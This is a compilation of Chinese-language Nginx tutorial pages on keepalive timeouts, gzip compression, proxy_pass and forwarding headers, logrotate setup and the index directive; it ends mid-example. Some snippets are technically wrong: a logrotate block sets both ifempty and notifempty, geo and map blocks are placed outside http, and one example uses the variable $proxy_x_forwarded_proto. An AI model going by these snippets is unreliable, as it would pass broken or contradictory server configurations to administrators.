针对不同服务器配置

```nginx
http {
    keepalive_timeout 65s;
    
    server {
        listen 80;
        server_name example.com;
        keepalive_timeout 30s;  # 这个站点30秒超时
    }
    
    server {
        listen 80;
        server_name api.example.com;
        keepalive_timeout 10s;  # API站点10秒超时
    }
}
```

**超时时间选择**

| 超时时间  | 适用场景        | 优缺点                     |
| --------- | --------------- | -------------------------- |
| `0`       | 禁用 Keep-Alive | 避免连接占用，但性能差     |
| `5s-15s`  | 高并发API服务   | 快速释放连接，减少资源占用 |
| `30s-60s` | 一般Web应用     | 平衡性能和资源             |
| `60s+`    | 静态资源/CDN    | 最大化连接复用             |

第二个参数的作用

```nginx
keepalive_timeout 60s 50s;
```

这会在响应头中返回：

```http
Keep-Alive: timeout=50
```

告诉客户端服务器期望的超时时间，但服务器实际会使用 60 秒。

**性能影响**

**适当超时时间的优势**：

1. **减少TCP握手**：降低连接建立开销
2. **降低延迟**：后续请求无需握手
3. **提高吞吐量**：更高效的连接利用
4. **减少资源消耗**：减少端口和内存使用

**超时过长的缺点**：

1. **连接资源占用**：空闲连接占用服务器资源
2. **服务器负载**：可能达到连接数上限
3. **内存消耗**：每个连接都需要内存维护

**超时过短的缺点**：

1. **频繁重建连接**：增加TCP握手开销
2. **性能下降**：无法充分利用持久连接

**配合 keepalive\_requests**

```nginx
http {
    keepalive_timeout 60s;
    keepalive_requests 100;  # 每个连接最多处理100个请求
}
```

**完整连接优化配置**

```nginx
http {
    # 连接保持配置
    keepalive_timeout 60s;
    keepalive_requests 100;
    
    # TCP层优化
    tcp_nodelay on;
    tcp_nopush on;
    
    # 连接限制
    client_header_timeout 15s;
    client_body_timeout 15s;
    send_timeout 15s;
}
```

**常规Web服务器**

```nginx
http {
    keepalive_timeout 65s;
    keepalive_requests 100;
}
```

**高并发API服务**

```nginx
http {
    keepalive_timeout 15s;
    keepalive_requests 1000;  # 每个连接处理更多请求
}
```

**静态资源服务器**

```nginx
http {
    keepalive_timeout 120s;
    keepalive_requests 500;
}
```

**负载均衡器**

```nginx
http {
    keepalive_timeout 75s;
    keepalive_requests 100;
    
    upstream backend {
        server 192.168.1.10:8080;
        server 192.168.1.11:8080;
        
        # 到后端服务器的keepalive连接
        keepalive 32;
    }
}
```

**查看连接状态**

```bash
# 查看 Keep-Alive 连接
netstat -an | grep :80 | grep ESTABLISHED

# 使用 nginx status 模块
curl http://localhost/nginx_status
```

在 access\_log 中观察连接复用情况：

```text
192.168.1.100 - - [25/Dec/2023:10:30:45 +0800] "GET /style.css HTTP/1.1" 200 1234
192.168.1.100 - - [25/Dec/2023:10:30:46 +0800] "GET /script.js HTTP/1.1" 200 5678
# 同一客户端IP在短时间内多次请求，说明连接复用
```

**注意事项**

1. **客户端行为**：实际超时取决于客户端和服务器中的较小值
2. **负载均衡**：上游服务器也需要适当配置 keepalive
3. **超时协调**：与 `client_header_timeout`、`client_body_timeout` 协调配置
4. **资源监控**：监控服务器连接数，避免连接耗尽

### gzip

`gzip` 通过对 HTTP 响应内容进行压缩，减少传输数据大小，提高页面加载速度。

```nginx
gzip on | off;
```

默认值：`gzip off`

**基本配置**

```nginx
http {
    # 开启 gzip 压缩
    gzip on;
    
    # 压缩级别 (1-9)
    gzip_comp_level 5;
    
    # 最小压缩长度
    gzip_min_length 1024;
    
    # 压缩类型
    gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
}
```

**完整优化配置**

```nginx
http {
    gzip on;
    gzip_comp_level 6;
    gzip_min_length 1024;
    gzip_buffers 16 8k;
    gzip_proxied any;
    gzip_vary on;
    gzip_types
        text/plain
        text/css
        text/xml
        text/javascript
        application/json
        application/javascript
        application/xml+rss
        application/atom+xml
        image/svg+xml;
    
    # 对代理请求也启用压缩
    gzip_proxied expired no-cache no-store private auth;
    
    # 禁用 IE6 的 gzip
    gzip_disable "MSIE [1-6]\.";
}
```

#### gzip\_comp\_level

压缩级别 (1-9)：

* `1`：压缩速度最快，压缩率最低
* `9`：压缩速度最慢，压缩率最高
* 推荐：`5` 或 `6`（平衡点）

```nginx
gzip_comp_level 6;
```

#### gzip\_min\_length

启用压缩的最小响应长度：

```nginx
gzip_min_length 1024;  # 小于1KB的内容不压缩
```

#### gzip\_types

指定需要压缩的 MIME 类型：

```nginx
gzip_types
    text/plain
    text/css
    text/javascript
    application/javascript
    application/json
    application/xml;
```

#### gzip\_buffers

压缩缓冲区设置：

```nginx
gzip_buffers 16 8k;  # 16个8k的缓冲区
```

#### gzip\_vary

添加 `Vary: Accept-Encoding` 响应头：

```nginx
gzip_vary on;  # 帮助缓存服务器识别压缩内容
```

#### gzip\_proxied

对代理请求的压缩策略：

```nginx
gzip_proxied any;  # 对所有代理请求压缩
```

**压缩效果对比**

| 文件类型   | 原始大小 | 压缩后大小 | 压缩率 |
| ---------- | -------- | ---------- | ------ |
| HTML 文件  | 50KB     | 10KB       | 80%    |
| CSS 文件   | 100KB    | 20KB       | 80%    |
| JavaScript | 200KB    | 50KB       | 75%    |
| JSON 数据  | 150KB    | 30KB       | 80%    |

**推荐压缩的内容**

* **文本文件**：HTML、CSS、JS、JSON、XML
* **代码文件**：各种编程语言源代码
* **配置文件**：YAML、INI 等

**不建议压缩的内容**

* **已压缩的文件**：图片（JPEG/PNG）、PDF、ZIP
* **小文件**：小于 1KB 的文件
* **二进制文件**：可执行文件、字体文件

现代浏览器都支持 gzip 压缩：

* Chrome/Firefox/Safari/Edge：完全支持
* IE6+：支持（但 IE6 有问题）

**优势**：

1. **减少带宽使用**：节省 60-80% 流量
2. **加快页面加载**：减少传输时间
3. **提升用户体验**：特别是移动用户
4. **降低服务器负载**：减少网络 I/O

**代价**：

1. **CPU 开销**：压缩需要计算资源
2. **轻微延迟**：压缩需要时间

**通用 Web 服务器**

```nginx
http {
    gzip on;
    gzip_comp_level 5;
    gzip_min_length 1024;
    gzip_vary on;
    gzip_types
        text/plain
        text/css
        text/javascript
        application/javascript
        application/json
        application/xml
        text/xml;
}
```

**高流量网站优化**

```nginx
http {
    gzip on;
    gzip_comp_level 4;  # 稍低的压缩级别，减少CPU压力
    gzip_min_length 512;
    gzip_buffers 32 4k;
    gzip_vary on;
    gzip_proxied any;
    
    gzip_types
        text/plain
        text/css
        text/xml
        text/javascript
        application/javascript
        application/json
        application/xml+rss;
}
```

**API 服务**

```nginx
http {
    gzip on;
    gzip_comp_level 6;
    gzip_min_length 100;  # API响应可能较小
    gzip_types
        application/json
        application/javascript
        text/plain
        text/css;
}
```

**对特定路径禁用压缩**

```nginx
server {
    location /downloads/ {
        # 下载目录禁用压缩（文件通常已压缩）
        gzip off;
    }
    
    location /images/ {
        # 图片目录禁用压缩
        gzip off;
    }
    
    location / {
        # 其他位置启用压缩
        gzip on;
    }
}
```

**测试压缩是否生效**

```nginx
# 检查响应头
curl -I -H "Accept-Encoding: gzip" http://example.com/style.css

# 应该看到：
Content-Encoding: gzip
Vary: Accept-Encoding
```

**检查压缩效果**

```nginx
# 比较压缩前后大小
curl -H "Accept-Encoding: gzip" http://example.com/style.css | wc -c
curl -H "Accept-Encoding: identity" http://example.com/style.css | wc -c
```

**注意事项**

1. **CPU 平衡**：高压缩级别会增加 CPU 负载
2. **缓存考虑**：确保配置 `gzip_vary on` 避免缓存问题
3. **代理穿透**：配置 `gzip_proxied` 确保通过代理也能压缩
4. **IE6 兼容**：使用 `gzip_disable` 避免 IE6 问题

---

---
url: /nginx/aev5fvox/index.md
---
## 使用与后端协议兼容的 `pass` 指令

**原理与注意事项**

Nginx 提供多种 `*_pass` 指令，每种指令都针对特定的后端协议：

**HTTP 后端**：使用 `proxy_pass`，通过普通 HTTP 与后端服务器通信。

**非 HTTP 后端**：

* `uwsgi_pass` → 使用 uWSGI 协议
* `fastcgi_pass` → 使用 FastCGI 协议（如 PHP-FPM）
* `scgi_pass` → 使用 SCGI 协议

正确使用协议能够确保性能和功能的充分发挥。例如，使用 `uwsgi_pass` 可以充分利用 uWSGI 的插件和特性，而使用 `proxy_pass` 仅能通过 HTTP 与 uWSGI 通信，无法利用 uWSGI 特有功能。

**示例**

**错误配置**

```nginx
server {
  location /app/ {
    proxy_pass 192.168.154.102:4000;  # 实际是 uWSGI 应用，不应使用 proxy_pass
  }
}
```

**正确配置**

```nginx
server {
  location /app/ {
    proxy_pass http://192.168.154.102:80;  # HTTP 前端代理
  }

  location /app/v3 {
    uwsgi_pass 192.168.154.102:8080;      # uWSGI 后端
  }

  location /app/v4 {
    fastcgi_pass 192.168.154.102:8081;    # PHP-FPM 后端
  }
}
```

## 小心 `proxy_pass` 指令中的斜杠

**原理**

`proxy_pass` 的 URI 部分会影响最终请求的 URL 生成方式：

* **不带 URI**：Nginx 保留原始请求 URI（包括所有 `/../` 等），直接转发给后端。
* **带 URI**：Nginx 会替换匹配的 location 前缀部分，类似 `alias` 指令的行为。

**示例**

```nginx
location = /a {
  proxy_pass http://127.0.0.1:8080/a;
}

location ^~ /a/ {
  proxy_pass http://127.0.0.1:8080/a/;
}
```

**总结**： 尾随斜杠要慎用，否则可能导致请求路径错位，尤其在动态路由或 API 接口时。

## 正确使用 `$host` 设置 Host 头

**原理**

`$host` 是推荐的 Host 变量，因为它总是有意义：

* `$host` → 请求行中的主机名，或者 Host 头，或者匹配的 server\_name
* `$http_host` → 请求头中原始 Host 值
* `$server_name` → Nginx 配置的 server\_name

推荐：

```nginx
proxy_set_header Host $host;
```

**总结**：使用 `$host` 能保证 Host 头正确传递给后端，避免应用获取到错误的主机信息。

## 正确设置 `X-Forwarded-For` 头

**原理**

`X-Forwarded-For` 用于传递客户端真实 IP：

* 通过多个代理时，会形成逗号分隔的 IP 列表
* 第一个 IP 是最原始的客户端 IP
* 后端必须正确解析该列表，并结合信任链来确定真实 IP

**示例**

```nginx
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# 等价写法
proxy_set_header X-Forwarded-For $http_x_forwarded_for,$remote_addr;
# 或使用 realip 模块
proxy_set_header X-Forwarded-For "$http_x_forwarded_for, $realip_remote_addr";
```

**安全性注意**

* 不信任外部客户端随意设置的 X-Forwarded-For
* 信任链应从负载均衡器开始
* 后端应用需解析正确顺序，避免 IP 欺骗

## 正确设置 `X-Forwarded-Proto` 头

**原理**

标识客户端协议（HTTP 或 HTTPS）：

* `$scheme` → 当前请求协议
* 多级代理时，直接使用 `$scheme` 可能会产生偏差
* 可使用 `$proxy_x_forwarded_proto` 解决多级代理问题

**示例**

```nginx
# 单级代理
proxy_set_header X-Forwarded-Proto $scheme;

# 多级代理
proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto;
```

**总结**：确保后端知道客户端使用的协议，便于生成正确 URL 或安全策略判断。

## 传递必要的 Host 与 X-Forwarded 头

**建议头列表**

```nginx
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $host:$server_port;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-Port $server_port;
proxy_set_header X-Forwarded-Proto $scheme;
```

**说明**：这些头能让后端准确获取客户端信息，实现访问控制、日志记录、统计分析等功能。

## 自定义头命名规范

原理

* 遵循 RFC-6648，弃用 `X-` 前缀
* 可继续使用 `X-` 前缀，但不推荐
* 新的自定义头使用无前缀且有意义的名称

**示例**

```nginx
# 不推荐
add_header X-Backend-Server $hostname;

# 推荐
add_header Backend-Server $hostname;
```

## 负载均衡与健康检查

**配置示例**

```nginx
upstream backend {
  server bk01_node:80 max_fails=3 fail_timeout=5s;
  server bk02_node:80 max_fails=3 fail_timeout=5s down; # 标记下线
}
```

**总结**

* `max_fails` 与 `fail_timeout` 控制被动健康检查
* `down` 可永久下线或维护中服务器
* 支持备份服务器，主服务器不可用时自动切换
* IP 哈希时 `down` 可避免客户端哈希失效

## 安全与防盗链

**示例**

```nginx
location ~* \.(gif|jpg|png)$ {
  valid_referers none blocked 192.168.0.1;
  if ($invalid_referer) {
     rewrite ^/ http://$host/logo.png;
  }
}
```

**说明**

* 限制访问资源来源，防止盗链
* 可结合 CDN、缓存进一步提升安全性和性能

## 相关资料

* [nginx 这一篇就够了](https://juejin.im/post/5d81906c518825300a3ec7ca)

---

---
url: /nginx/omcs0sa7/index.md
---
## 配置日志轮换策略

**日志轮换**：

日志轮换就像是给你的日志文件"自动整理术"：

* 📁 **自动归档**：把旧的日志打包存档
* 🆕 **创建新文件**：让 Nginx 开始写新的日志
* 🗑️ **清理旧文件**：删除太老的日志，节省空间
* 📦 **压缩存储**：把旧日志压缩，减少磁盘占用

```bash
## 如果没有轮换，日志文件会无限增长：
ls -lh /var/log/nginx/
-rw-r--r-- 1 nginx nginx 15G Dec 1 access.log  # 15GB！磁盘要爆了！
-rw-r--r-- 1 nginx nginx 8.2G Dec 1 error.log
```

**解决方案**：

```bash
## 启用轮换后：
ls -lh /var/log/nginx/
-rw-r--r-- 1 nginx nginx  2.1M Dec 1 access.log      # 当前日志不大
-rw-r--r-- 1 nginx nginx  156K Dec 1 error.log
-rw-r--r-- 1 nginx nginx  45M Nov 30 access.log.1    # 昨天的日志
-rw-r--r-- 1 nginx nginx  12M Nov 30 error.log.1
-rw-r--r-- 1 nginx nginx  42M Nov 29 access.log.2.gz # 前天的，已压缩
```

**logrotate 工具详解**

* 🔧 系统自带的日志管理工具
* ⏰ 通过 crontab 定时运行（不是常驻进程）
* 📝 配置文件驱动，简单易用

**基础配置文件** (`/etc/logrotate.d/nginx`)：

```bash
/var/log/nginx/*.log {          # 监控这些日志文件
    daily                       # 📅 每天轮换一次
    missingok                   # ❌ 如果日志不存在，不报错
    rotate 14                   # 🔢 保留14个旧文件（两周）
    compress                    # 📦 压缩旧日志
    delaycompress               # ⏳ 延迟一天压缩（方便查看昨天日志）
    notifempty                  # 📭 如果日志为空，不轮换
    create 0640 nginx nginx     # 👤 新日志文件权限和属主
    sharedscripts               # 🔗 所有文件共享同一个脚本
    postrotate                  # 🔄 轮换后执行的命令
        # 告诉 Nginx 重新打开日志文件
        invoke-rc.d nginx reload >/dev/null 2>&1
    endscript
}
```

**参数详细说明**

| 参数         | 作用         | 示例值                                     |
| ------------ | ------------ | ------------------------------------------ |
| `daily`      | 轮换频率     | `daily`（天）`weekly`（周）`monthly`（月） |
| `rotate`     | 保留数量     | `14`（保留14个版本）                       |
| `compress`   | 是否压缩     | `compress`（启用）                         |
| `size`       | 按大小轮换   | `size 100M`（达到100MB就轮换）             |
| `missingok`  | 文件不存在   | `missingok`（不报错）                      |
| `notifempty` | 空文件不轮换 | `notifempty`                               |
| `create`     | 新文件权限   | `create 0640 nginx nginx`                  |

**实际使用方法**

**检查当前配置**：

```bash
## 查看所有日志轮换配置
sudo logrotate -d /etc/logrotate.conf

## 查看 Nginx 特定配置
sudo logrotate -d /etc/logrotate.d/nginx
```

**手动立即轮换**：

```bash
## 强制立即轮换所有日志
sudo logrotate -vf /etc/logrotate.d/nginx

## 只轮换 Nginx 日志
sudo logrotate -vf /etc/logrotate.conf /etc/logrotate.d/nginx
```

**测试配置（不实际执行）**：

```bash
## 干跑测试，看会执行什么操作
sudo logrotate -d /etc/logrotate.d/nginx
```

**多目录配置示例**

如果你的 Nginx 日志分布在多个目录：

```bash
## 主日志目录
/var/log/nginx/*.log {
    daily
    missingok
    rotate 14
    compress
    delaycompress
    create 0640 nginx nginx
    postrotate
        /bin/kill -USR1 `cat /var/run/nginx.pid 2>/dev/null` 2>/dev/null || true
    endscript
}

## 虚拟主机日志目录
/var/log/nginx/domains/*.log {
    daily
    missingok
    rotate 30
    compress
    create 0640 nginx nginx
    postrotate
        /bin/kill -USR1 `cat /var/run/nginx.pid 2>/dev/null` 2>/dev/null || true
    endscript
}

## 特定域名日志（更长的保留时间）
/var/log/nginx/domains/example.com/*.log {
    daily
    missingok
    rotate 90
    compress
    create 0640 nginx nginx
    postrotate
        /bin/kill -USR1 `cat /var/run/nginx.pid 2>/dev/null` 2>/dev/null || true
    endscript
}
```

关键注意事项

**1. postrotate 脚本的重要性**：

```bash
postrotate
    ## 必须执行这个命令，让 Nginx 重新打开日志文件
    /bin/kill -USR1 `cat /var/run/nginx.pid` 2>/dev/null || true
endscript
```

如果不执行这个，Nginx 会继续往旧的日志文件写数据！

**2. 权限问题**：

```bash
create 0640 nginx nginx
```

确保新创建的日志文件 Nginx 进程有权限写入。

**3. 磁盘空间监控**：

```bash
## 检查日志目录大小
du -sh /var/log/nginx/

## 查看最大的日志文件
ls -lhS /var/log/nginx/
```

**故障排查**

**问题：轮换后没有新日志**

```bash
## 检查 Nginx 进程是否收到了信号
sudo ps aux | grep nginx

## 手动发送重新打开日志的信号
sudo kill -USR1 $(cat /var/run/nginx.pid)
```

**问题：权限错误**

```bash
## 检查日志文件权限
ls -la /var/log/nginx/

## 修复权限
sudo chown nginx:nginx /var/log/nginx/*.log
sudo chmod 640 /var/log/nginx/*.log
```

**总结**

日志轮换是 Nginx 运维的基础技能，通过合理的配置可以：

* 防止磁盘被日志撑爆
* 方便历史日志查询
* 优化系统性能
* 满足合规要求

建议在生产环境至少保留 7-30 天的日志，根据业务需求和磁盘空间灵活调整。

## Nginx Logrotate 企业级完整配置指南

### 1. 环境检查与安装

#### 检查当前日志状态

```bash
# 查看当前 Nginx 日志文件
ls -la /var/log/nginx/
# 检查日志文件大小
du -sh /var/log/nginx/*
# 查看当前 Nginx 进程
ps aux | grep nginx
```

#### 安装 logrotate（通常系统已自带）

```bash
# CentOS/RHEL
sudo yum install logrotate -y

# Ubuntu/Debian  
sudo apt-get update && sudo apt-get install logrotate -y

# 验证安装
logrotate --version
```

### 2. 备份原有配置

```bash
# 备份现有 logrotate 配置
sudo cp /etc/logrotate.conf /etc/logrotate.conf.backup
sudo cp -r /etc/logrotate.d/ /etc/logrotate.d.backup/

# 备份 Nginx 日志（可选）
sudo tar -czf nginx-logs-backup-$(date +%Y%m%d).tar.gz /var/log/nginx/
```

### 3. 企业级 Nginx Logrotate 配置

创建主配置文件 `/etc/logrotate.d/nginx`：

```bash
sudo tee /etc/logrotate.d/nginx > /dev/null << 'EOF'
## =============================================================================
## Nginx Logrotate Enterprise Configuration
## =============================================================================

/var/log/nginx/*.log {
    # ==================== 基本设置 ====================
    daily                          # 📅 轮换频率：每天执行一次
    missingok                      # ❌ 如果日志文件不存在，不报错继续执行
    rotate 30                      # 🔢 保留30个归档文件（企业标准：1个月）
    compress                       # 📦 启用gzip压缩归档文件
    delaycompress                  # ⏳ 延迟压缩：轮换后下一个周期再压缩
    notifempty                     # 📭 如果日志文件为空，不执行轮换
    create 0640 nginx adm          # 👤 创建新日志文件的权限和属主(用户:组)
    
    # ==================== 高级设置 ====================
    dateext                        # 📝 在归档文件名中添加日期扩展名
    dateformat -%Y%m%d             # 🗓️ 日期格式：-20231201
    extension .log                 # 🔄 保持文件扩展名一致
    
    # ==================== 大小限制 ====================
    maxsize 100M                   # 📏 如果日志超过100MB立即轮换（即使未到时间）
    
    # ==================== 错误处理 ====================
    ifempty                        # ✅ 即使空文件也轮换（与notifempty互斥，这里用notifempty）
    nomail                         # 📮 不通过邮件发送删除的日志
    noolddir                       # 📁 不在其他目录存储归档
    
    # ==================== 脚本设置 ====================
    sharedscripts                  # 🔗 对所有匹配的日志文件只执行一次脚本
    copytruncate                   # 🔄 复制截断模式（可选，与postrotate二选一）
    
    # ==================== 执行脚本 ====================
    prerotate                      # 🔧 轮换前执行的命令
        # 这里可以执行日志分析、备份等预处理
        echo "$(date): Starting Nginx log rotation" >> /var/log/logrotate.log
    endscript
    
    postrotate                     # 🔄 轮换后执行的命令（关键！）
        # 方法1：使用系统服务命令（推荐）
        /bin/systemctl reload nginx > /dev/null 2>&1 || true
        
        # 方法2：直接向Nginx进程发送信号
        # /bin/kill -USR1 $(cat /var/run/nginx.pid 2>/dev/null) 2>/dev/null || true
        
        # 方法3：使用invoke-rc.d（Debian/Ubuntu）
        # /usr/sbin/invoke-rc.d nginx rotate > /dev/null 2>&1
        
        # 记录轮换日志
        echo "$(date): Nginx logs rotated successfully" >> /var/log/logrotate.log
    endscript
    
    # ==================== 错误处理脚本 ====================
    lastaction                     # 🚨 所有轮换完成后执行的命令（即使出错也会执行）
        # 清理临时文件、发送通知等
        find /var/log/nginx/ -name "*.tmp" -delete
        echo "Log rotation completed at $(date)" >> /var/log/logrotate-status.log
    endscript
}

## =============================================================================
## 虚拟主机单独配置（可选）
## =============================================================================
/var/log/nginx/domains/*.log {
    daily
    missingok
    rotate 90                      # 🗓️ 业务日志保留90天
    compress
    delaycompress
    notifempty
    create 0640 nginx adm
    dateext
    dateformat -%Y%m%d
    sharedscripts
    postrotate
        /bin/systemctl reload nginx > /dev/null 2>&1 || true
    endscript
}

## =============================================================================
## 访问日志单独配置（高频访问场景）
## =============================================================================
/var/log/nginx/access.log {
    size 1G                        # 📏 按大小轮换：达到1GB立即轮换
    rotate 15                      # 🔢 保留15个版本
    compress
    delaycompress
    copytruncate                   # 🔄 使用复制截断，避免信号问题
    missingok
    notifempty
    create 0640 nginx adm
    postrotate
        # 对于高频访问日志，使用更轻量的处理
        /bin/kill -USR1 $(cat /var/run/nginx.pid 2>/dev/null) 2>/dev/null || true
    endscript
}

## =============================================================================
## 错误日志配置（长期保留用于分析）
## =============================================================================
/var/log/nginx/error.log {
    weekly                         # 📅 错误日志轮换频率较低
    rotate 52                      # 🔢 保留52周（1年）的错误日志
    compress
    missingok
    notifempty
    create 0640 nginx adm
    sharedscripts
    postrotate
        /bin/systemctl reload nginx > /dev/null 2>&1 || true
    endscript
}
EOF
```

### 4. 配置全局 logrotate 设置

编辑 `/etc/logrotate.conf`：

```bash
sudo tee -a /etc/logrotate.conf > /dev/null << 'EOF'
## =============================================================================
## Global Logrotate Settings
## =============================================================================

# 全局设置
weekly                           # 默认轮换周期
rotate 4                         # 默认保留4个归档
create                           # 创建新日志文件
dateext                          # 使用日期扩展名

# 包含所有自定义配置
include /etc/logrotate.d

# 特定目录配置
/var/log/wtmp {
    monthly
    create 0664 root utmp
    minsize 1M
    rotate 1
}

/var/log/btmp {
    missingok
    monthly
    create 0600 root utmp
    rotate 1
}

# 不压缩某些文件
nocompress
EOF
```

### 5. 权限和安全设置

```bash
# 设置配置文件权限
sudo chmod 644 /etc/logrotate.d/nginx
sudo chown root:root /etc/logrotate.d/nginx

# 创建日志轮换状态目录
sudo mkdir -p /var/lib/logrotate
sudo touch /var/log/logrotate.log
sudo touch /var/log/logrotate-status.log

# 设置状态文件权限
sudo chmod 644 /var/log/logrotate.log
sudo chmod 644 /var/log/logrotate-status.log
```

### 6. 测试配置

#### 语法检查

```bash
# 检查配置文件语法
sudo logrotate -d /etc/logrotate.d/nginx
```

#### 手动测试轮换

```bash
# 强制立即执行轮换（详细模式）
sudo logrotate -vf /etc/logrotate.d/nginx

# 测试但不实际执行（干跑模式）
sudo logrotate -d /etc/logrotate.conf
```

#### 验证 Nginx 信号处理

```bash
# 检查 Nginx 是否正确处理 USR1 信号
sudo nginx -T | grep pid
# 或者查看进程
sudo systemctl status nginx
```

### 7. 设置定时任务

检查 logrotate 的 cron 配置：

```bash
# 查看 logrotate 定时任务
sudo cat /etc/cron.daily/logrotate

# 或者查看系统 cron
sudo cat /etc/crontab | grep logrotate
```

通常系统会自动在 `/etc/cron.daily/logrotate` 中配置每日执行。

### 8. 监控和维护

#### 创建监控脚本

```bash
sudo tee /usr/local/bin/check-logrotate.sh > /dev/null << 'EOF'
#!/bin/bash
## Logrotate 状态检查脚本

LOG_FILE="/var/log/logrotate-status.log"
NGINX_LOGS="/var/log/nginx"

echo "=== Logrotate Status Check ==="
echo "检查时间: $(date)"

# 检查最近轮换状态
echo "=== 最近轮换记录 ==="
tail -10 /var/log/logrotate.log 2>/dev/null || echo "无轮换记录"

# 检查日志文件大小
echo -e "\n=== 日志文件大小 ==="
find $NGINX_LOGS -name "*.log" -type f -exec ls -lh {} \; 2>/dev/null

# 检查归档文件
echo -e "\n=== 归档文件统计 ==="
find $NGINX_LOGS -name "*.gz" -type f | wc -l | xargs echo "压缩归档数量:"

# 检查磁盘使用情况
echo -e "\n=== 磁盘使用 ==="
du -sh $NGINX_LOGS

# 检查配置语法
echo -e "\n=== 配置语法检查 ==="
logrotate -d /etc/logrotate.d/nginx > /dev/null 2>&1 && echo "✓ 配置语法正确" || echo "✗ 配置语法错误"
EOF

sudo chmod +x /usr/local/bin/check-logrotate.sh
```

#### 设置定期检查

```bash
# 添加到 crontab 每周检查
sudo crontab -l | { cat; echo "0 2 * * 1 /usr/local/bin/check-logrotate.sh >> /var/log/logrotate-monitor.log"; } | sudo crontab -
```

### 9. 常见问题排查

#### 问题1：轮换后 Nginx 不写新日志

```bash
# 解决方案：手动重新加载 Nginx
sudo systemctl reload nginx
# 或者直接发送信号
sudo kill -USR1 $(cat /var/run/nginx.pid)
```

#### 问题2：权限错误

```bash
# 检查并修复权限
sudo chown -R nginx:adm /var/log/nginx/
sudo chmod 640 /var/log/nginx/*.log
```

#### 问题3：磁盘空间不足

```bash
# 紧急清理脚本
sudo tee /usr/local/bin/emergency-log-clean.sh > /dev/null << 'EOF'
#!/bin/bash
# 保留最近7天日志，删除更早的
find /var/log/nginx -name "*.log.*" -mtime +7 -delete
find /var/log/nginx -name "*.gz" -mtime +7 -delete
# 立即轮换当前日志
logrotate -f /etc/logrotate.d/nginx
EOF
sudo chmod +x /usr/local/bin/emergency-log-clean.sh
```

### 关键参数说明表

| 参数       | 推荐值 | 说明                       |
| ---------- | ------ | -------------------------- |
| `rotate`   | 30-90  | 根据存储空间和合规要求调整 |
| `maxsize`  | 1G-10G | 防止单个日志文件过大       |
| `compress` | 启用   | 节省 70-90% 存储空间       |
| `dateext`  | 启用   | 便于日志管理和追溯         |

## index 默认首页文件

**index 指令的作用**

**index 指令用于定义默认首页文件**。当客户端访问目录路径（以 `/` 结尾）时，Nginx 会按照配置的顺序依次查找这些文件，返回第一个找到的文件作为响应。

**在 http 块中一次性定义全局 index 规则**，避免在各个 server 和 location 中重复配置。

**错误配置：重复定义**

```nginx
http {
    index index.php index.htm index.html;  # 全局定义

    server {
        server_name www.example.com;
        location / {
            index index.php index.html index.$geo.html;  # ❌ 重复定义
            ...
        }
    }

    server {
        server_name www.example.com;
        location / {
            index index.php index.htm index.html;  # ❌ 重复定义
            ...
        }
        location /data {
            index index.php;  # ❌ 重复定义
            ...
        }
    }
}
```

**正确配置：集中管理**

```nginx
http {
    ## 一次性定义全局默认首页文件
    ## 查找顺序：index.php → index.htm → index.html → 根据地理位置变量
    index index.php index.htm index.html index.$geo.html;

    server {
        server_name www.example.com;
        location / {
            ## 自动继承 http 块中的 index 配置
            ...
        }
    }

    server {
        server_name www.example.com;
        location / {
            ## 自动继承 http 块中的 index 配置
            ...
        }
        location /data {
            ## 自动继承 http 块中的 index 配置
            ...
        }
    }
}
```

**index 指令工作机制**

**访问流程示例**：

```bash
用户访问: https://example.com/

Nginx 依次查找:
1. /var/www/example.com/index.php
2. /var/www/example.com/index.htm  
3. /var/www/example.com/index.html
4. /var/www/example.com/index.$geo.html

返回第一个找到的文件
```

**特殊情况处理**

**需要覆盖默认配置的场景**：

```nginx
http {
    ## 全局默认配置
    index index.php index.html index.htm;
    
    server {
        server_name example.com;
        
        ## 大部分 location 继承全局配置
        
        location /api {
            ## API 接口不需要首页文件
            index index.php;  # ✅ 合理覆盖：只允许 PHP 文件
        }
        
        location /legacy {
            ## 老系统需要不同的首页顺序
            index index.htm index.html;  # ✅ 合理覆盖：排除 PHP 文件
        }
        
        location /admin {
            ## 管理后台特殊配置
            index admin.php dashboard.php index.php;  # ✅ 合理覆盖：特殊业务需求
        }
    }
}
```

**企业级最佳实践**

**基础配置**：

```nginx
http {
    ## 标准首页文件顺序（覆盖大部分场景）
    index index.php index.html index.htm;
}
```

**动态内容优先**：

```nginx
http {
    ## 动态页面优先，提高处理效率
    index index.php index.py index.jsp index.html index.htm;
}
```

**多变量支持**：

```nginx
http {
    ## 支持地理位置、设备类型等变量
    index index.$geo.html index.$device.html index.php index.html;
}
```

### 变量

在 index 指令中使用变量可以实现**动态首页选择**，根据客户端特征（地理位置、设备类型、语言等）返回最合适的首页文件。

**常用变量示例**

```nginx
http {
    ## 基于多种条件的动态首页配置
    index index.$geo.html index.$device.html index.$lang.php index.php index.html;
    
    ...
}
```

**可用变量详解**

**1. 地理位置变量**

```nginx
## 需要在 http 块中先定义 geo 变量
geo $geo {
    default         unknown;
    192.168.1.0/24  internal;
    10.0.0.0/8      corporate;
    1.2.3.4         us;
    5.6.7.8         eu;
}

http {
    index index.$geo.html index.php index.html;
    
    server {
        location / {
            ## 根据客户端IP返回不同的首页：
            ## - 内部网络: index.internal.html
            ## - 公司网络: index.corporate.html  
            ## - 美国用户: index.us.html
            ## - 欧洲用户: index.eu.html
            ## - 其他: index.unknown.html → index.php → index.html
        }
    }
}
```

**2. 设备类型变量**

```nginx
## 通过 map 定义设备类型
map $http_user_agent $device {
    default                                  "desktop";
    "~*android|mobile|iphone|ipod|ipad"     "mobile";
    "~*bot|crawl|spider"                    "bot";
}

http {
    index index.$device.html index.php index.html;
    
    server {
        location / {
            ## 根据User-Agent返回不同的首页：
            ## - 手机访问: index.mobile.html (移动端优化)
            ## - 爬虫访问: index.bot.html (SEO专用)
            ## - 桌面访问: index.desktop.html (完整功能)
        }
    }
}
```

**3. 语言偏好变量**

```nginx
## 解析 Accept-Language 头
map $http_accept_language $lang {
    default     "en";
    "~*zh"      "zh";
    "~*ja"      "ja";
    "~*ko"      "ko";
    "~*fr"      "fr";
    "~*de"      "de";
}

http {
    index index.$lang.php index.php index.html;
    
    server {
        location / {
            ## 根据浏览器语言返回不同版本：
            ## - 中文用户: index.zh.php
